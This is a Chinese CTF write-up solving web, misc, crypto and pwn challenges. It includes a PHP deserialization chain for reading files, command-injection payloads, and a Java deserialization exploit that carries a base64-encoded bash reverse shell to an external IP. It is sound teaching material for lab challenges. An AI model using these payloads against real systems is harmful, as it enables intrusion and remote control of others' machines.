Web
php_start
打开页面,看到
想到要添加cookie来证明自己是admin,抓包看看有没有提示参数
参数就是user,接下来改包:user=admin
成功通过,又看到
远程访问地址不被允许,那么通过Referer 将自己的地址改为本地:Referer: 127.0.0.1
成功绕过,又看到要求
听话,修改请求方式
然后我们就得到了一串php代码
审计代码后发现最后要做的就是通过MD5碰撞绕过,注意此处是 === 强比较利用数组绕过
1 cbc1[]=1&cbc2[]=2&cbc3[]=1&cbc4[]=2
然后通过get传参cmd执行命令
brupsuite没打通可以用hackbar试试
反序列化来送分了
访问后得到代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class A { private $a ; function __destruct ( ) { ($this ->a)(); } } class B { private $b ; public function __invoke ( ) { echo $this ->b; } public function __toString ( ) { return file_get_contents($this ->b); } } if (isset ($_GET ['a' ])) { unserialize($_GET ['a' ]); } else { highlight_file(__FILE__ ); }
代码审计
1 2 3 4 5 6 7 8 9 10 11 在接受参数 a 之后,进行反序列化操作 首先我们查看可以达到我们目的的代码(获取flag.php的内容),即序列化终点 很明显,file_get_contents($this->b)可以读取文件内容, 反推谁可以掉用__toString()(当一个类被当作 str 输出时会调用 __toString) 为 class B __invoke() 中 echo 输出了str 调用 __invoke() (当类被当作函数使用时会被调用) 为 class A __destruct() ($this->a)(); 当函数类被销毁时,__destruct() 会被自动调用 则pop链为: A.__destruct()->B.__invoke()->C.__toString
写代码,因为 A B 中的属性都为 private,在序列化时会生成不可打印字符,所以先进行urlencode
1 2 3 4 5 6 7 8 9 10 11 <?php class A { private $a ; } class B { private $b ; } $c = new B('php://filter/read=convert.base64-encode/resource=flag.php' );$b = new B($c );$a = new A($b );echo urlencode(serialize($a ))
在这里有个坑,在 读取 .php 文件时,会执行其中的内容,也就是如果 flag.php 中内容为赋值语句时,我们并不能看到 flag的值,所以要将其base64编码,利用伪协议读取
1 php://filter/read=convert.base64-encode/resource=flag.php
传递参数a后将得到的内容base64解码即可得到 flag(果然是赋值
dig
简单命令注入,一个查询域名的小demo,多次测试发现域名输入的地方参数校验很严格,抓包看看发现并未对type做过多校验,随便改下type发现不难推测出是这样拼接命令的
简单测下发现domain有严格的校验,type也ban掉了这些
但可以换行截断,使用 #
注释掉后面的内容, 查看下当前位置
1 {"domain" :"baidu.com" ,"type" :"\npwd\n#" }
/
ban了使用 cd ..
跳转至根目录
1 {"domain" :"baidu.com" ,"type" :"\ncd ..\ncd ..\ncd ..\nls\n#" }
读flag
1 {"domain" :"baidu.com" ,"type" :"\ncd ..\ncd ..\ncd ..\ncat ffFFLl11AaAag9g99gGg\n#" }
first_java
(防ak题)
首先题目给出了app.jar,我们使用Java反编译工具jd-gui来得到源码。(把jar包拖到jd-gui.exe就可以啦)
首先看看jar包里有啥~
辨识出来是springboot项目(一个轻型应用框架)
看看controller层
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 @GetMapping("/") public String home () { return "Hello Java!" ; } @RequestMapping("/vul") public String read (@RequestParam(name = "data", required = true) String data) throws Exception { data=data.replace(" " ,"+" ); byte [] bytes = tools.base64Decode(data); InputStream inputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); objectInputStream.readObject(); return "oHHH~ this is a secret " ; }
可以看到是一个Java反序列化的入口,将输入的data进行base64解码后进行反序列化。
然后找调用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 @Repository public class User implements Serializable { private String name; private User () {}; public void eval () { try { new exec(this .name).runcmd(); } catch (Exception e) { throw new RuntimeException(e); } } public String toString () { this .eval(); return "" ; } } public class exec implements Serializable { private String cmd; public exec (String s) {this .cmd=s;}; public String runcmd () throws IOException { Runtime runtime = Runtime.getRuntime(); runtime.exec(this .cmd); return "" ; } }
这里显然就是User的toString方法到eval方法再到exec类中的runcmd方法。(为什么说是first_java就是因为这里不用追调用链,会java反序列化就出了)而toString方法怎么触发,搜索引擎一搜就能搜到。即BadAttributeValueExpException 类。(BadAttributeValueExpException:反序列化的时候会去调用成员变量val的toString函数)
综上,我们只需要构造一个BadAttributeValueExpException 类对象,把其成员变量val赋为User类对象,其中User对象的name成员变量为要执行的命令。(这里由于无回显所以用一个反弹shell的技巧)
关于java反序列化链的构造可以先了解Java反射、看readObject()方法等等。再不会直接QQ找1manity,我手把手教~~
下面给出exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 package com.example.demo; import com.example.demo.classes.User; import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.Base64; public class exp { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { Class c=Class.forName("com.example.demo.classes.User" ); Constructor con=c.getDeclaredConstructor(); con.setAccessible(true ); Object u=con.newInstance(); setFieldValue(u,"name" ,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMTIyLjIyMS8zMzQ1NyAwPiYx}|{base64,-d}|{bash,-i}" ); BadAttributeValueExpException val1 = new BadAttributeValueExpException(null ); setFieldValue(val1,"val" ,u); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(val1); System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray())); } }
在自己的服务器上起nc -lvp 33452,提交payload
可以看到连接到目标机了~ cat /flag就好了~
ezJWT
看 pankas 的blog
大致看明白之后写代码,只需换换具体的参数,替换为提供的 public key
设置请求头
1 Authoriztion: Bearer xxx
Misc
签到
下载图片改高,查看不同通道,能看清就行
又是一个签到题
有关明文攻击的详细
http://www.werewolfcjj.top/2022/07/28/%e5%8e%8b%e7%bc%a9%e5%8c%85%e6%98%8e%e6%96%87%e6%94%bb%e5%87%bb%e6%b5%85%e5%b1%82%e7%90%86%e8%a7%a3/
掩码爆破,可以猜到时0RAYS
签二送一
彩蛋题,图一乐,平台的源码里隐藏了一个页面,
拿到的是一段[emoji-aes](file:///C:/Users/19731/Desktop/misc%E5%B7%A5%E5%85%B7/emoji-aes-main/emoji-aes-main/index.html#),秘钥就是前两个签到题的flag各少的一个字母拼接一下
智能卡
出题的时候想到协会在两年前出过一道ic卡的题,然后刚好又在一次行业赛上碰到了智能卡的题,就拿来改了改出成题,拿来考考对陌生文件的分析,以及2进制文件数据处理。
题目其实非常简单,只要知道智能卡的逻辑
查看ic卡的扇区结构
这里其实并不一定需要工具,用工区可以更直观的吧扇区分割出来,用010,winhex是一样的
除了0扇区外,后面的是数据部分,看到每个扇区的数据部分有2个区域的不同,一个区域应该对应一个字符
搜索一下ic卡的结构
https://blog.csdn.net/hiwoshixiaoyu/article/details/104048663
发现这是M1卡,每一扇区最后绿色的两部分为秘钥
因为每一块的密文只有两字节,那么每一次秘钥调用也只需要用到两字节,每一个扇区第二行的密文对应秘钥A的后两字节,第三行1的密文对应秘钥B的后两字节,异或一下即可
环
压缩包是一个套娃的伪加密,这里考的就是zip伪加密的原理和脚本的编写能力,同时可以看出每一层的压缩包的名字也有端倪,按顺序全部提取出来可以发现是base32编码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import zipfile,osj = 0 name = "GRAT.zip" c = "" while (1 ): c += name[:4 ] print (j) f = open (name,"rb" ) data = f.read() f.close() os.remove(name) counts = data.count(b"\x50\x4b\x01\x02" ) pos = 0 for i in range (counts): pos = data.find(b"\x50\x4b\x01\x02" ,pos+1 ) data = data[:pos+8 ] + b"\x00" + data[pos+9 :] f = open ("fake_zips0.zip" ,"wb" ) f.write(data) f.close() fz = zipfile.ZipFile('fake_zips0.zip' , 'r' ) name = fz.filelist[0 ].filename fz.extractall() fz.close() os.remove("fake_zips0.zip" ) if ("flag" in name): break j += 1 print (c)
然后cyberchef点魔术棒就一把嗦了
解到最后是our secret is P@ssW0rdddd
这里其实已经非常明显了,考虑到大部分应该没有接触过oursecret隐写的文件,所以直接把oursecret写出来了,并且也给了hint说是一个隐写工具。
如何判断oursecret隐写:最为明显的是oursecret隐写后在文件尾会多出一块冗余
并且这块冗余的最后基本都是些=ijkn这类的,如果看到这样的特征基本就可以断定是oursecret隐写
然后输入解出来的秘钥解密
解出来是
1 2`+u(3+??*/RgXs1G(Fn0fUaFAi2@rAN)GVAn>L10fEW$
然后当密码去解压trueflag.zip就行了
Crypto
easy_function
然后用z3解方程
1 2 3 4 5 6 7 8 9 10 11 12 13 from z3 import *from Crypto.Util.number import *n = 21928891896899960950392893365236605503279690237474569965982922720744305962320335010638816672714631011066585408342369387663212989097520629021290718105270318620702371793206831675172174120800302955870091962747219216394227262037151694781326918318138121061565772767665659258433028805885935729831054173258528040810045721293311218986877917670353159132742433422507831851868207187476863688495612468553672355633945774910535806978177899944261678998616004465860635322030703317405582992022542735932829444625776312541440461054311689710981591721280865641801009057941271486926623067526953733793965150279997155686085197872848764468507 a = 11352975818488773632516662379050881019539603300890951917937121582672196122693003063420907250627064085541316522293022833209613022495120415847972846376717686488517664611672001245628081506487088097440644808405476957725430228958682772839066685877087018574214413755448765842309018692485163126827556334087203139913049979640413807547128740327916713383717759092827807754957519840348774332056128700237905777108593512834138111563723633497231920402345794274281143432988522454550089285411566412716397125570716835109485713832671339014034307928604820806256234137654610191737223294737010347663800893829466596607996656852741448943498 c = 14598974015747915044527068539062111884998879191503543752410904428118715294000388051202779071115108058918826242688408803789439331919065181636847863682683656129087767495991269939580088226232165674817848995264157529303270154492195014608777164156309670361919677925077769871530991685427719620755607651682795272414903783977971077188607161543666434603226515350211906135104528708144117363127762817983777408073418200556188261953054816170878245396329265390264065855327165703380375112397382998822080606662851756354306138211010066966186635915501861926285333350580062053998894296874336838112663758743149809751815801804787080440244 aa = inverse(a, n) print (aa)p, q = Ints('p q' ) sol = Solver() sol.add(p*q == n) sol.add(2023 *p+666 *q == aa) if (sol.check() == sat): print (sol.model())
好像n可以直接分解。。。
easy_mod
但是有很多解,应该出成交互会好一点。不好意思。
ec
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from random import *from Crypto.Util.number import *from os import urandomimport hashlibp = getPrime(128 ) def get_ec (p ): while 1 : a = randint(0 ,p) b = randint(0 ,p) c = randint(0 ,p) try : E1 = EllipticCurve(Zmod(p),[0 ,a,0 ,b,c]) E2 = EllipticCurve(Zmod(p),[0 ,c,0 ,b,a]) print ('a,b,c = ' ,a,',' ,b,',' ,c) return E1,E2 except : continue def get_point (E ): while 1 : gx = Integer(randint(0 ,p)) try : G = E.lift_x(gx) G = E(G) return G except : continue def create_door (E1,E2 ): while 1 : try : gx = Integer(randint(0 ,p)) G1 = E1.lift_x(gx) G2 = E2.lift_x(gx) if int (G1[1 ]) == int (G2[1 ]) and int (G1[0 ])-1 : return G1[1 ] except : continue print ('p=' ,p)E1,E2 = get_ec(p) big_big_key = create_door(E1,E2) flag = 'cbctf{' +hashlib.md5(str (big_big_key).encode()).hexdigest()+'}' ''' p= 207645766307658280243524869078615488969 a,b,c = 187066701571299990207395889408391546149 , 135843914716953605032236946698898119745 , 88777392568564840049560519799361499959 '''
根据加密代码,题目用同一个x坐标在E1曲线与E2曲线上分别生成了一个点,也就是说这个点可以同时适用两条曲线的坐标公式,相当于是在有限域上解一个等式问题。根据曲线公式,对于gx(下文中为了表示方便,表示为X),有
$$X^3+bX^2+cx=cX^3+bX^2+aX$$
那么很显然,在对等式进行调整过后,p域上,满足
$$X^2=1$$
注意题目中出现了对点坐标的判断,规定点的x坐标不可以等于1,那么有
$$X=p-1$$
接下来,题目就变成了一个二次剩余问题,如果有sagemath环境的话,用题目中的代码把gx直接提到曲线上就可以解出flag(应该是默认有个先置顺序),直接解二次剩余的话,y有两个解,可以每个都尝试一下。
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 p= 207645766307658280243524869078615488969 a,b,c = 187066701571299990207395889408391546149 , 135843914716953605032236946698898119745 , 88777392568564840049560519799361499959 E1 = EllipticCurve(Zmod(p),[0 ,a,0 ,b,c]) E2 = EllipticCurve(Zmod(p),[0 ,c,0 ,b,a]) G1 = (E1.lift_x(p-1 )) G2 = (E2.lift_x(p-1 )) assert int (G1[1 ]) == int (G2[1 ]) and int (G1[0 ])-1 import hashlibbig_big_key = int (G1[1 ]) flag = 'cbctf{' +hashlib.md5(str (big_big_key).encode()).hexdigest()+'}' print (flag)
ecc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from random import *from Crypto.Util.number import *from os import urandomfrom secret import flagp = getPrime(128 ) def get_ec (p ): while 1 : a = randint(0 ,p) b = randint(0 ,p) c = randint(0 ,p) try : E1 = EllipticCurve(Zmod(p),[0 ,a,0 ,b,c]) E2 = EllipticCurve(Zmod(p),[0 ,c,0 ,b,a]) print (a,b,c) return E1,E2 except : continue def get_point (E,msg ): while 1 : gx = Integer(bytes_to_long(msg.encode()+urandom(2 ))) G = E.lift_x(gx) try : G = E.lift_x(gx) G = E(G) return G except : continue def init (E1,E2,flag ): msg1 = flag[:len (flag)//2 ] msg2 = flag[len (flag)//2 :] while 1 : try : G1 = get_point(E1,msg1) break except : continue while 1 : try : G2 = get_point(E2,msg2) return G1,G2 except : continue assert flag.startswith('cbctf{' ) and flag.endswith('}' )E1,E2 = get_ec(p) e = getPrime(64 ) G1,G2 = init(E1,E2,flag) K1 = e*G1 K2 = e*G2 print ('e:' ,e)print ('p:' ,p)print ('K1:' ,K1)print ('K2:' ,K2)''' 96800431497710726605945048550355045839 130766689476837689277581917425616756217 180640604367209270515408291876087334062 e: 17367618875751077161 p: 190998593339716316151078226506064603043 K1: (59584322764384903445849449855575599841 : 54658673737000795804468838462378804937 : 1) K2: (12782830386513954778953132775115001931 : 47450406430274443963495981038563598183 : 1) '''
这题开始,我们就正式进入了椭圆曲线的世界啦。题目把flag分为两部分,加几个随机字节后作为G1、G2的坐标将两点分别乘e,给出了乘法后的结果K1、K2。
对椭圆曲线求阶感兴趣的可以自行研究Schoof’s algorithm 等求阶算法,在sagemath当中,对确定的运算和元素求阶可以使用order()函数。譬如对于素数p,元素在p域上进行乘法运算的阶的最小公倍数(也就是最大阶)是p-1,那么对于椭圆曲线的加法运算,在求出特定点所对应的阶之后,想要还原这个运算,同理只需要计算e在阶上的逆元。
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 a,b,c = 96800431497710726605945048550355045839 , 130766689476837689277581917425616756217 , 180640604367209270515408291876087334062 e = 17367618875751077161 p = 190998593339716316151078226506064603043 K1 = (59584322764384903445849449855575599841 , 54658673737000795804468838462378804937 ) K2 = (12782830386513954778953132775115001931 , 47450406430274443963495981038563598183 ) E1 = EllipticCurve(Zmod(p),[0 ,a,0 ,b,c]) E2 = EllipticCurve(Zmod(p),[0 ,c,0 ,b,a]) K1 = E1(K1) K2 = E2(K2) G1 = K1*inverse_mod(e,int (K1.order())) G2 = K2*inverse_mod(e,int (K2.order())) import libnumprint (libnum.n2s(int (G1[0 ])))print (libnum.n2s(int (G2[0 ])))
eccc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from random import *from Crypto.Util.number import *from os import urandomfrom secret import flagprint (len (flag))def get_ec (p,a,b,c ): while 1 : try : E = EllipticCurve(Zmod(p),[0 ,a,0 ,b,c]) return E except : continue def get_point (E,p ): while 1 : gx = Integer(randint(0 ,p)) try : G = E.lift_x(gx) return G except : continue assert flag.startswith('cbctf{' ) and flag.endswith('}' )a = randint(0 ,2 ^200 ) b = randint(0 ,2 ^200 ) c = randint(0 ,2 ^20 ) print ('a,b,c = ' ,a,',' ,b,',' ,c)m = hex (bytes_to_long(flag.encode()))[2 :] for time in range (45 ): p = getPrime(128 ) E = get_ec(p,a,b,c) print ('p[' ,time,']= ' ,p,sep = '' ) G = get_point(E,p) K = G print ('G[' ,time,']= (' ,G[0 ],',' ,G[1 ],')' ,sep = '' ) for i in range (len (m)): K *= 23 K += int (m[i],16 )*G print ('K[' ,time,']= (' ,K[0 ],',' ,K[1 ],')' ,sep = '' ) ''' 54 a,b,c = 687319167646853214370559303260842530370893406669894913606612 , 358491157355864809837889997984854369704781998197146538945040 , 524574 p[0]= 264804272115587071185116146847649203497 G[0]= (60159294510533829481104641612678134194,50116671734330950371883807411446156409) K[0]= (222198374809570288602478875405994172604,83740661354034096526314230872043080355) (后半部分数据由于篇幅原因省略) '''
这题是想带大家领略一下Pohlig-Hellman,也算是ctf当中ecc最常见的一个攻击方式,由于e不变,每次加密时的阶已知,可以采取分解order求取e模小因子上的结果、再合并所有order上小因子(exp当中设定小因子为120000000)进行crt。
exp如下
Pohlig-Hellman
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 a,b,c = 687319167646853214370559303260842530370893406669894913606612 , 358491157355864809837889997984854369704781998197146538945040 , 524574 G = [0 for i in range (45 )] K = [0 for i in range (45 )] p = [0 for i in range (45 )] p[0 ]= 264804272115587071185116146847649203497 G[0 ]= (60159294510533829481104641612678134194 ,50116671734330950371883807411446156409 ) K[0 ]= (222198374809570288602478875405994172604 ,83740661354034096526314230872043080355 ) p[1 ]= 290298047049325719109215428298326583127 G[1 ]= (122096272740798462720564420163650522160 ,34058922245026059782651107723265093797 ) K[1 ]= (140783049322999810687406667202009533647 ,173454036653893078332586321870759197502 ) p[2 ]= 252606264817670540022614154772597757801 G[2 ]= (19413408398728816622795786081246609338 ,130438284947306379073231699329785790353 ) K[2 ]= (238111547920180217005348637476885398211 ,13964457149797071599058649209421520214 ) p[3 ]= 291352300164661467317100467008130986727 G[3 ]= (139608706620449068306329853062872256770 ,43236848678630113992853922130710471814 ) K[3 ]= (185427880773205478061625932963539754881 ,219978802780001315748040378105105455822 ) p[4 ]= 188115864813366694533791367220863898543 G[4 ]= (77362530096388357183280546068832236485 ,133805045314630131804781858608524431286 ) K[4 ]= (34133534018393044424755246678524581084 ,81707219139193330533390442219621612307 ) p[5 ]= 324289194404068448588418004096810370867 G[5 ]= (316803457087032680022746594356681678143 ,184772390515489722884529372281707764364 ) K[5 ]= (79527965584526736052162080874203653603 ,205456022261049971869483302336204996727 ) p[6 ]= 189839850475882995548307143384967434651 G[6 ]= (128642656963086186217529684367454640117 ,29562802705065605410525138705023327143 ) K[6 ]= (67717231137947645202151392180317230301 ,129123369300049032539588302644495291935 ) p[7 ]= 225454530293950875223052760723997460813 G[7 ]= (87642967047470349599786479119924902265 ,137994181424966391042762921442559295424 ) K[7 ]= (34014114659264482297147418347824813688 ,59189817755484589478661448421044212949 ) p[8 ]= 170644839824203800842403181301066052049 G[8 ]= (119287662654969974023015247843359703282 ,26866016941771451968516871201213152488 ) K[8 ]= (111523426305138931226656172565557518823 ,153370374878838378088593795155640273252 ) p[9 ]= 312986399702990042992683456570372842039 G[9 ]= (187186238783136123861505945430811612728 ,63816204988542742315384473496829010657 ) K[9 ]= (107880639092411419760761130954455922457 ,87683007182558348620651139674590062533 ) p[10 ]= 291004720611515485454799257299646616881 G[10 ]= (183870183730636881944714856646756407092 ,59910523415296475536129461759344499053 ) K[10 ]= (77562620521998353417937202025930313549 ,285472896766170076536742796267469317687 ) p[11 ]= 311777111481198718050356262153659162893 G[11 ]= (205232227006325559362590924243916241252 ,205856434255348961640114657564408219888 ) K[11 ]= (130736369124918253643065659608971319437 ,55212961669844836285345118121272084429 ) p[12 ]= 171374842678365094849802043013171918259 G[12 ]= (34462260491705530733129314902462634854 ,87094801116574092273009332472855928633 ) K[12 ]= (42846257830950052101813183755725235242 ,108863478482768277784538046787235747057 ) p[13 ]= 231873845327095940151792269566298960393 G[13 ]= (165836124867338274522581106235033679723 ,15106909536292426813526842191119897021 ) K[13 ]= (87904755466281886644458363418154960844 ,62372208413233448132901286025794488120 ) p[14 ]= 215480484326242099686745927883167302319 G[14 ]= (197693188266118124666710206760752922452 ,135631899331445540031686390870013836500 ) K[14 ]= (22692576131892797081083870476872078164 ,89494316768036916107163107078425515549 ) p[15 ]= 285801146384402891385682853901377959187 G[15 ]= (64355202665741552844921944729312138817 ,34451617363290253974897499176008458901 ) K[15 ]= (269336175441064400339307834157818730247 ,62859878313829053905884243988343167025 ) p[16 ]= 278571568730891963564866351218943206709 G[16 ]= (3863676083148214535259826455010457541 ,198758160513436479535527362263826074041 ) K[16 ]= (66069324769996007775098533285997683086 ,60027774232944307479788092649009555183 ) p[17 ]= 215742873825050302809963942885163484387 G[17 ]= (47775291224383087291223252124753233766 ,125302223866068916544061385808666265611 ) K[17 ]= (162525594763850325319910061825049999137 ,75417530680554613984478059908553507726 ) p[18 ]= 323258390279866813056798606093915870737 G[18 ]= (183177469621731203108295357276519068144 ,174790398753778700377754157913326320249 ) K[18 ]= (281811476149355115797168257003800120357 ,196140723300934205507858892318650187823 ) p[19 ]= 247174832772823807405949575706490292327 G[19 ]= (64821424230471290898676978085116090310 ,3156062069536117733480587336550941825 ) K[19 ]= (118327561410734879141153677215689051252 ,58438641897295152172023441551304972234 ) p[20 ]= 251453882640645695257897930622078833633 G[20 ]= (201004416679119367027246089478611113526 ,56809048267228720387132490337393278988 ) K[20 ]= (221474725364966109577730697877037372051 ,238040361297673803601751527978971498001 ) p[21 ]= 295729398122346745434351812366743367791 G[21 ]= (30670847628294049065202297486692319353 ,181293109000502577425398870552853491073 ) K[21 ]= (164552013028334988904143325575629290332 ,275852289436620235004245115287610833876 ) p[22 ]= 320138101049295815361946294538312573827 G[22 ]= (2224072577861464879055709786123261164 ,199331958483619531807814660478012858650 ) K[22 ]= (62014229548681313351123770381785319433 ,172282358204177280238808283042270477765 ) p[23 ]= 194723573017251723084320171515398914359 G[23 ]= (157521088281411492195711667618986974404 ,129613999042871412975737368808590379338 ) K[23 ]= (28434377342330410673742072909987161310 ,69148127210930059413773543611488873009 ) p[24 ]= 190248289046160404439204568647675323239 G[24 ]= (79534591403621100439688310873734449629 ,101321784576932492065314012194634900582 ) K[24 ]= (39549202657401376851669027615094155183 ,131568825594056327285639164764547524328 ) p[25 ]= 228241811895250150647551467046788069561 G[25 ]= (160453987349069627300391063636284877349 ,12955865586303480233343051242137207041 ) K[25 ]= (174761857696951247195276132908793407782 ,35426502724320369539955332754826595800 ) p[26 ]= 264361652730387687965241086453458607119 G[26 ]= (9652945157503674471097118424081159813 ,17886669713877327421875005441840525998 ) K[26 ]= (7241083323902581394558027482504435971 ,16448543547246277790675465115250993550 ) p[27 ]= 206824044199605736960078762499552777113 G[27 ]= (130046086998108439193625434890164335497 ,43781713884349248828238086868635836800 ) K[27 ]= (46242002575376652339649689384201709935 ,152124685215598981008996330571410223793 ) p[28 ]= 178332893959021410524832091316497166249 G[28 ]= (74311115216816574154671108278059002467 ,25619426945801859214926846974084534249 ) K[28 ]= (145913870155980017763129602486316070063 ,171615544160610537539101986076211610566 ) p[29 ]= 267248587428198428648836699506757874819 G[29 ]= (125507037702721681395132304237802303043 ,63108341406897511982732952586096782912 ) K[29 ]= (120489778130602177799940409989978248691 ,177206240638506778862512665956054089141 ) p[30 ]= 256394767764442349920851525174534937933 G[30 ]= (34642578161846146553429507971748832863 ,159399364552265446695319554297703967595 ) K[30 ]= (235008409422931959602821900217601726185 ,18543169397827184657535527553424069529 ) p[31 ]= 292369212002653988728096826751332854349 G[31 ]= (173057050527351547425617559519162517952 ,167524548334184996400925286929315973644 ) K[31 ]= (59588212571067680811516329942408310695 ,140544005528858169669628556337281679860 ) p[32 ]= 234222277324940093390298112349182604443 G[32 ]= (185398636105544826706665667352630368155 ,138779420079563541988758992776482337665 ) K[32 ]= (116505547707670217318590765130998362221 ,132024279417249951844932113651642396393 ) p[33 ]= 220654338172454463262062219625152983479 G[33 ]= (150301976338157888557443154827710692050 ,162720627055569072620617266171067546977 ) K[33 ]= (188814051911132599247842509933015944616 ,160787501879461119628833628440326122136 ) p[34 ]= 179904309858882489950757118819175350103 G[34 ]= (75763860632109516535577897850373844089 ,96690238562570106005537847848845863864 ) K[34 ]= (100536002155089218074810001231754691505 ,13268640042441109430186612606851860827 ) p[35 ]= 214599544671974891003813755277455008943 G[35 ]= (166425720425721793802504548807565287498 ,126960303155992945937350732772742575430 ) K[35 ]= (91900210425975353078774144862036741245 ,134315625975836664981691758115570582530 ) p[36 ]= 255373362714012486599499686316422066341 G[36 ]= (82708760290601139942717835592384222265 ,9591795999947433932246300190257300334 ) K[36 ]= (194148999213378655793583321161580944291 ,254713757158400093150936525156627399969 ) p[37 ]= 279619519572733194053917120586020756817 G[37 ]= (198688755545552687332798710391845413021 ,17706191254416526083776512577963263216 ) K[37 ]= (156253887551069158567411031182101298601 ,173270802357077474831170170431674405125 ) p[38 ]= 274603240123311590710057196872733475001 G[38 ]= (231725616712305743245884369485178122803 ,159354043329761008866188859676681117520 ) K[38 ]= (22786288053750795217881956894154265240 ,105375714616766499317977127894273193078 ) p[39 ]= 280001586469147834211457538984534439963 G[39 ]= (101481652572608560772019922884878935305 ,66970687872757521780321254941590677307 ) K[39 ]= (218704400508499115251379128859558668371 ,199051641829367291335395745185370600198 ) p[40 ]= 323892403614925348716498741638021652311 G[40 ]= (303834415696142207163347646723172048077 ,71276398274995757248117240995304476778 ) K[40 ]= (202192318752857292675080579938118081446 ,126317396827062678026370295405271658559 ) p[41 ]= 304102533466888638278077265285465800667 G[41 ]= (264175293335929640033245161010273401833 ,206953198479665541561428179976058543671 ) K[41 ]= (137028261378000687934731222598271251798 ,61735845292003708243727374948591573252 ) p[42 ]= 272903691036609979475256921762471461069 G[42 ]= (169517827245091587593900100275833653842 ,180516585726482026703633926473941975566 ) K[42 ]= (129626981825390361764829681352147032103 ,142395490930964080176276678752492520095 ) p[43 ]= 195355006864871605231325159185174522361 G[43 ]= (40448649789204951497736642494856280963 ,105197609759747711718982928951636188902 ) K[43 ]= (151600846918059839882795153025397045144 ,2152527270127434465183544795550436847 ) p[44 ]= 211007364120943730632527340557064816213 G[44 ]= (189621375552464794552296506411976961597 ,16059513334776735419961241878939133526 ) K[44 ]= (76864498300290954819989413344945957060 ,79104598723942770143972073869584469187 ) F = [] dl = [] for i in range (32 ): E = EllipticCurve(Zmod(p[i]),[0 ,a,0 ,b,c]) K[i] = E(K[i]) G[i] = E(G[i]) nowfac = K[i].order() factors, exponents = zip (*factor(nowfac)) prime = [factors[i] ^ exponents[i] for i in range (len (factors))] print (prime) primes = [] for j in prime: mark = 1 for k in F: if gcd(j,k) != 1 : mark = 0 break if mark == 1 and j < 12000000 : primes.append(j) continue print (primes) for fac in primes: t = int (nowfac/fac) dlog = discrete_log(t*K[i],t*G[i],operation = "+" ) F += [fac] dl += [dlog] print (dl,F)d = crt(dl,F) print (d)
Check
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 F = [659 , 1069 , 3643 , 209471 , 613507 , 5 , 2 , 812309 , 3 , 13 , 11131 , 11 , 211789 , 1803031 , 649063 , 7 , 19 , 167 , 211 , 2281 , 373 , 443 , 31 , 61 , 13043 , 9134767 , 79 , 103 , 14519 , 40427 , 1462603 , 23 , 16619 , 127 , 7906799 , 269 , 137 , 17 , 6823 , 1340929 , 3299 , 3719 , 2297849 , 109 , 2593 , 74761 , 101 , 389 , 953 ] p = 1477057017770877863035827287796018741381806070053114834268157055189004117123892694339170912504496978717210409141232574333052766498424160745991300789 num = 0 import libnumwhile 1 : p2 = p+ num*prod(F) k = '' while p2 > 0 : k = hex (p2%23 )[2 :]+k p2 //= 23 m = libnum.n2s(int ((k),16 )) if len (m) == 55 : print (m) break num += 1
PWN
ez_aaa
考察partial over_write即部分写
溢出两字节,给了backdoor地址,vuln函数正常返回是main+xxx:
修改这里的地址低2字节,就有16分之一的概率返回到backdoor地址,在调试的时候建议使用如下命令关闭aslr:
1 2 sudo su echo 0 > /proc/sys/kernel/randomize_va_space
但是发现正常返回backdoor会GOT EOF,最后会卡死在do system的一个对xmmword类型数据的操作。这是因为对xmmword或者ymmword的操作,需要栈对齐即rsp寄存器的值的末尾为0。那么这里就需要多一条或者少一条能影响rsp寄存器的汇编指令。正常情况写ROP的时候,都是用ret的gadget,但是这题开了pie保护而且溢出字节的限制,显然不太能通过多执行一个ret来影响rsp寄存器。那就只能考虑pop,push或者其它东西了。在ida backdoor函数处看查它的汇编源码发现:
那么直接跳到它的下一个指令开始执行,少一个对rsp的操作,就可以实现栈对齐了
exp
